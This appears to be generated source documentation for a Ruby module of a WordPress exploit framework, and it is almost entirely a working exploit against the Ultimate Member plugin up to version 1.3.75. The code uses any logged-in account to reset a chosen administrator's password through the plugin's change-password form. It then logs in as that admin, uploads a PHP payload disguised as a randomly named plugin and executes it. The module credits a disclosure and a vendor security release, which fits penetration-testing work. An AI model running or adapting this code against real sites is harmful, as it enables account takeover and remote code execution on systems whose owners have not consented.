class Wpxf::Exploit::UltimateMemberShellUpload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::Net::HttpClient::new
# File lib/wpxf/modules/exploit/shell/ultimate_member_shell_upload.rb, line 9
def initialize
  super

  update_info(
    name: 'Ultimate Member <= 1.3.75 Shell Upload',
    desc: 'This module exploits a vulnerability that allows users of any level to change '\
          'the password of any user. The module requires you login with an account of any '\
          'level, which will then be used to change the specified admin users\' password. '\
          'The compromised admin account will then be used to store and execute the payload.',
    author: [
      'James Golovich', # Discovery and disclosure
      'rastating'       # WPXF module
    ],
    references: [
      ['WPVDB', '8688'],
      ['URL', 'https://ultimatemember.com/security-release-v1-3-76/']
    ],
    date: 'Dec 08 2016'
  )

  register_options([
    StringOption.new(
      name: 'password_form_path',
      desc: 'The path of the change password form (default is /account/password/)',
      required: true
    ),
    IntegerOption.new(
      name: 'admin_user_id',
      desc: 'The ID of the user to hijack the account of',
      required: true
    ),
    StringOption.new(
      name: 'admin_username',
      desc: 'The username of the admin user to hijack the account of',
      required: true
    )
  ])
end

Public Instance Methods

admin_user_id() click to toggle source
# File lib/wpxf/modules/exploit/shell/ultimate_member_shell_upload.rb, line 60
def admin_user_id
  normalized_option_value('admin_user_id')
end
admin_username() click to toggle source
# File lib/wpxf/modules/exploit/shell/ultimate_member_shell_upload.rb, line 64
def admin_username
  normalized_option_value('admin_username')
end
before_upload() click to toggle source
# File lib/wpxf/modules/exploit/shell/ultimate_member_shell_upload.rb, line 90
def before_upload
  emit_info "Changing password for #{admin_username} to #{new_password}"
  res = execute_password_change

  unless res.code == 302
    emit_error "Password change returned status #{res.code}", true
    emit_error "Failed to change the password for #{admin_username}"
    return false
  end

  @admin_cookie = authenticate_with_wordpress(admin_username, @new_password)
  return true if @admin_cookie
  false
end
check() click to toggle source
# File lib/wpxf/modules/exploit/shell/ultimate_member_shell_upload.rb, line 48
def check
  check_plugin_version_from_readme('ultimate-member', '1.3.76')
end
execute_password_change() click to toggle source
# File lib/wpxf/modules/exploit/shell/ultimate_member_shell_upload.rb, line 76
def execute_password_change
  execute_post_request(
    url: password_form_url,
    cookie: session_cookie,
    body: {
      '_um_password_change' => '1',
      'timestamp' => Utility::Text.rand_numeric(3),
      'user_password' => new_password,
      'confirm_user_password' => new_password,
      'user_id' => admin_user_id
    }
  )
end
execute_payload() click to toggle source
# File lib/wpxf/modules/exploit/shell/ultimate_member_shell_upload.rb, line 115
def execute_payload
  res = execute_get_request(url: @payload_url)
  emit_success "Result: #{res.body}" if res && res.code == 200 && !res.body.strip.empty?
end
new_password() click to toggle source
# File lib/wpxf/modules/exploit/shell/ultimate_member_shell_upload.rb, line 68
def new_password
  @new_password || @new_password = Utility::Text.rand_alphanumeric(3) +
                                   Utility::Text.rand_alpha(1, :lower) +
                                   Utility::Text.rand_numeric(2) +
                                   Utility::Text.rand_alpha(1, :upper) +
                                   Utility::Text.rand_alphanumeric(3)
end
password_form_url() click to toggle source
# File lib/wpxf/modules/exploit/shell/ultimate_member_shell_upload.rb, line 56
def password_form_url
  normalize_uri(full_uri, datastore['password_form_path'])
end
requires_authentication() click to toggle source
# File lib/wpxf/modules/exploit/shell/ultimate_member_shell_upload.rb, line 52
def requires_authentication
  true
end
run() click to toggle source
Calls superclass method Wpxf::Module#run
# File lib/wpxf/modules/exploit/shell/ultimate_member_shell_upload.rb, line 120
def run
  return false unless super
  return false unless before_upload

  emit_info 'Uploading payload...'
  upload_payload

  emit_info "Executing the payload at #{@payload_url}..."
  execute_payload

  true
end
upload_payload() click to toggle source
# File lib/wpxf/modules/exploit/shell/ultimate_member_shell_upload.rb, line 105
def upload_payload
  plugin_name = Utility::Text.rand_alpha(10)
  payload_name = Utility::Text.rand_alpha(10)
  @payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
  return true if upload_payload_as_plugin(plugin_name, payload_name, @admin_cookie)

  emit_error 'Failed to upload the payload'
  false
end